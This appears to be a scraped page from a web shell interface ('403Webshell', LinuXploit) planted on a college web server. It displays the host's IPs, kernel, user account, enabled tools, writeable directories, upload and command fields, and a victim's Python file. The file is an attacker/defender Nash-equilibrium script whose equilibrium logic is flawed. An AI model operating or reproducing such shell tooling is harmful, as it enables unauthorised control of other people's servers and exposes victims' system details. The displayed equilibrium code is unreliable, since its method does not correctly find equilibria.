403Webshell
Server IP : 172.64.80.1  /  Your IP : 172.70.50.62
Web Server : Apache
System : Linux mail.federalpolyede.edu.ng 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
User : federalpolyede.edu.ng_idh35skikv ( 10000)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/federalpolyede.edu.ng/phd_code/old/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/federalpolyede.edu.ng/phd_code/old/nashEquilibrium_2.py
import numpy as np

# Define the payoff matrix
payoff_matrix = np.array([[[0, 10], [0, 8], [0, 6]],
                          [[8, -10], [-2, 8], [-2, 6]],
                          [[6, -10], [6, -12], [-4, 6]]])

# Find the maximum payoffs for the attacker and the defender
max_payoffs_attacker = np.max(payoff_matrix, axis=1)
max_payoffs_defender = np.max(payoff_matrix, axis=2)

# Find the indices of the maximum payoffs for the attacker and the defender
max_indices_attacker = np.argmax(payoff_matrix, axis=1)
max_indices_defender = np.argmax(payoff_matrix, axis=2)

# Find the strategies that correspond to the Nash equilibrium
nash_equilibria = []
for i in range(payoff_matrix.shape[1]):
    for j in range(payoff_matrix.shape[2]):
        if (max_indices_attacker[i][j] == j) and (max_indices_defender[i][j] == i):
            nash_equilibria.append((i, j))

# Print the Nash equilibrium(s)
if len(nash_equilibria) == 0:
    print("There is no Nash equilibrium.")
else:
    print("The Nash equilibrium(s) is/are:")
    for s in nash_equilibria:
        print("Attacker chooses strategy", s[0], "and defender chooses strategy", s[1])

Youez - 2016 - github.com/yon3zu
LinuXploit